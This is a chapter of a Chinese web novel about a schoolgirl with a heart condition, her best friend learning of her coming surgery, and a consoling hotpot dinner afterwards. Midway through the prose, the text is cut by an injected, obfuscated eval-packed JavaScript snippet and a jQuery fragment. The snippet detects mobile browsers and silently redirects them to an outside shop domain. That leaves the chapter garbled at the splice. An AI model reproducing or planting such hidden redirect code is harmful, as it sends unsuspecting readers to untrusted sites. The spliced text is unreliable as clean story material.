医院病房里,消毒水的味道充斥着整个空间。
顾嘉清靠坐在病床上,谢祈漾他们进来的时候,郑舒柔正坐在床边打电话。她无声打了个招呼后,才起身去外头接电话。
病房门刚被关上,顾嘉清还有些不放心的追问了句:“我在医院的事情,你们没泄密吧?”
“大小姐你三令五申的强调,我们哪敢不听啊。”何荆拿起一个苹果直接啃了起来。
听到这,顾嘉清才松了口气:“那就好。”
一旁的齐商却不是很赞同:“知道你怕她担心,可哪怕你现在瞒住了,但你别忘了你呆不到高三开学。到那时又该怎么办?”
顾嘉清没说话,手搭在被子上,头顶吊着的点滴还在无声的落下。
谢祈漾站在窗边,楼下出入医院的人换了一批又一批,每个人脸上的表情都各不相同。他没有回头,让人看不清此刻的情绪。
“告诉她吧,陆满愿不会希望你瞒着她的。”
谢祈漾不清楚自己为什么要说这些,他只是觉得如果陆满愿最后是从别人口中得知顾嘉清要离开,肯定会很难过的。
顾嘉清指尖蜷起,陷入了犹豫。
良久后,她的声音才在病房内再次出现:“我再想想吧。”
谢祈漾三人走时,郑舒柔还没回来。顾嘉清并没有重新躺下,她只是偏过头,望向窗外。
顾嘉清的病房正对着的是一个学校的走廊。
正值下课铃声响起,走廊里打闹着,追逐着,靠着栏杆谈小秘密的学生在不停变换。而眼前的场景,是顾嘉清去年重返学校前日日都会看到的画面。
因为生病,她总是长久的呆在同一个只有她一个人的空间里,在同龄人能够到处玩,到处疯的时候,只有她总是被强调提醒,要小心,要注意。
顾嘉清习惯了孤寂,但也期盼着有一天能和旁人一样的自由。
所以当陆满愿作为朋友出现在自己身边的时候,顾嘉清是欣喜的。她喜欢这个朋友,所以更不希望会在陆满愿的脸上看到因为自己而露出的担心和难过。
病房的门被人从外面推开,顾嘉清以为是郑舒柔回来,只是轻声说了句:“妈妈,我一个人没事的,你回去吧。”
脚步声在向这边靠近,直到在床头才停下。有人弯身靠了过来,将顾嘉清的被子掖了掖。
“有风,会冷。”
仅仅四个字,顾嘉清就听出了来人是谁。
心口的位置咯噔了下,等顾嘉清再回头的时候,陆满愿已经拉过了旁边的椅子坐了下来。
陆满愿出现的那一刻,顾嘉清心里便清楚她该知道的应该都知道了。也正因如此,首先在顾嘉清心底浮现出来的情绪只有不安。
她怕她会气自己的隐瞒。
这么想着,顾嘉清按着被子的手又紧了一些。她张了张嘴,想解释,但话到嘴边却不知道该从何说起。
“满满,我...”
脑海中陆满愿质问自己有没有把自己当朋友的画面并没有出现,相反的,顾嘉清看到陆满愿将自己带来的书包给拉开。
她从里面拿出了一个斜挎款的用来装相机的手工保护袋,递到了顾嘉清的面前:“本来是想等你生日的时候再给你的。”
陆满愿没有质问,也没有接连不断的询问,只是轻轻说着,声音如常,脸上也带着浅浅的笑容。
顾嘉清接过了保护袋,小心摩挲过上面的每一个点缀品,直到指尖在最中间象征着保平安的翠绿色玉珠上停留时,顾嘉清的鼻头止不住的有些发酸。
“很好看,我很喜欢。”
“喜欢就好。”
陆满愿说完,毫无征兆便转了话题:“阿嘉,我说过,如果你有事瞒着我的话我会很难过的。”
顾嘉清心口一紧,喉间有些干涩:“对不起。”
“我没生气。”陆满愿摇了摇头,视线在顾嘉清被针头扎的有些发青的手背上落下:“我是说过,但我没说完的是...”
陆满愿顿了顿,随后才补充道:“我很了解你,所以比起难过,我更心疼你。”
陆满愿将她落在肩头的长发往后面捋了捋,衣服上干净的洗衣粉味道掺在消毒水味中,抚平了顾嘉清所有的不安。
“阿嘉,我和你是一样的。”
不是只有你在心疼我...
啪嗒——
顾嘉清的眼泪就像是断了线的珍珠一下接着一下滴落进被子里,很快就晕出了深浅不一的痕迹。
顾嘉清抱着陆满愿哭了很久,直到窗对面的学校再次打了上课铃。
原本还在走廊逗留的学生们纷纷跑回到了自己的班级,高高的树木在寒冬离去后又开始长着新芽。
有束光透过摇摆的枝叶落了进来。
陆满愿脱了鞋子,和顾嘉清一同缩在了小小的病床上。顾嘉清跟她说了很多,有医院的饭太淡了,有她每天都很无聊在数外头走廊经过了多少人...
以及她会再次休学,并在暑假结束前离开熹城。
“我决定听妈妈他们说的回淞城了,我想有个健康的身体。”
“手术成功的几率...”
“放心吧,一切都会好起来的。等到那时候,我一定要到处跑,到处疯!”
“等你好了,我陪你一起。”
顾嘉清雀跃的声音停顿了两秒,才继续响起:“满满,五一的时候,我们几个人出去旅游吧。”
两人对视着,陆满愿拉住了顾嘉清的手,重重点了下头:“好。”
病房里,谈话的声音还在断断续续的传来。病房的外面,郑舒柔擦了擦眼角的湿润,将虚掩的病房门关上后再次离开。
...
直到从病房出来,一直被克制的负面情绪才在陆满愿回去的路上争先冲涌出来。
她漫无目的一直往前走,周遭静悄悄的,边上的路灯亮了长长的一列,旁边是一个公园,人工湖面上在月光的照耀下泛着点点的亮光。
陆满愿捂着脸,难过的情绪让她胸口的位置胀满了酸意,连带着胃都有些难受。
不知过了多久,有人在她的面前停住了脚步,熟悉的声音随着递来的纸巾一并传了过来。
“想哭就哭吧,我替你看着。”
陆满愿不想哭的,但在眼眶里一直打转许久的眼泪在听到谢祈漾声音的那一刻时还是忍不住开始往下掉。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598287|205262||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
小声的啜泣顺着掌心传了出来,落在这静谧的小道上变得越来越大。
纸巾被捏紧在手心却迟迟没有动作,陆满愿难受的直接蹲下了身子。哽咽的声音里带着浓重的不安:“怎么办...我...阿嘉她...”
顾嘉清的情况陆满愿来之前就已经事先问过郑舒柔了。
顾嘉清心脏的问题已经持续很久了,要做手术,能治,但同样也伴随着未知的风险。后面会怎样,谁也说不准。
她不知道自己究竟想问什么,只是胡乱的说着。
谢祈漾没说什么,只是也跟着半蹲在她的面前。抬起的手还没来得及拍上她的肩膀便被抓住,很快,渗进外套里的湿意烫进皮肉里久久无法散尽...
晚上八点,开得正热的火锅店外迎来了一桌新的客人。
谢祈漾将碗筷递到陆满愿的面前问道:“想吃什么?”
陆满愿声音还有些发闷:“辣的,越辣越好。”
“这样别人就看不出你哭过了?”谢祈漾扬眉,目光落在了她红肿的眼眶。
陆满愿一双水汪汪的眼睛看了过来,只见她瘪了瘪嘴,反问:“不行吗?”
谢祈漾笑了声,在菜单上勾了辣锅的锅底。
“都听你的。”
沸腾的火锅在不停往上冒着热气,隔着雾气,对面谢祈漾的表情有霎时的看不清。
他漫不经心的往锅里下东西的同时,随口问了句:“你什么时候知道的?”
陆满愿抓着筷子,在空空的碗里戳了两下:“昨天放学的时候我听见你们在车里的和阿嘉的通话,那时候就猜到了。”
“还真是什么都瞒不过小满老师啊。”
谢祈漾调侃着,声音在拉长,说话间,还将刚烫好的肉片放进了她的碗里。
陆满愿清楚他这么说也不过是想让自己不要太过陷在情绪里。谢祈漾和顾嘉清都是如此,太过会洞察和抚平旁人的负面情绪。
也正因此,才会得到源源不断的,来自于不同人对他们的爱。
陆满愿的眸光闪了闪,假咳了声,随后才学着谢祈漾眉梢一挑,故意应了句。
“所以啊...学习之路仍需努力,我不介意谢同学向我看齐。”
她的嗓音温软,弯着的眼里还蕴着层水光。而这层水光,在陆满愿因一时松懈而吃了碗里的肉片时被直接逼出了眼泪。
她剧烈的咳嗽着,白皙的脖子更是直接涨红,很快又蔓延到脸上去:“不是...怎么这么辣...咳咳...”
谢祈漾赶忙将事先叫好的冰牛奶递到陆满愿的面前。等看着她一下子就喝完了半瓶,又缓了好一会后,憋着的笑才随之从唇边溢了出来。
他的笑声轻浅,夹在辨识度极高的声线中,成了一道无形的钩子。
陆满愿脸上的热意更浓,顶着一双红红的眼睛看过来时越发像一只萌软的兔子。
只是此刻小兔子正在试图亮出毛茸茸的爪子。
“谢祈漾!”
“别笑了。”
“嗯,不笑了。”
谢祈漾点头应着她,可当视线落在她通红的耳尖上时,笑声在这夜里就又大了些…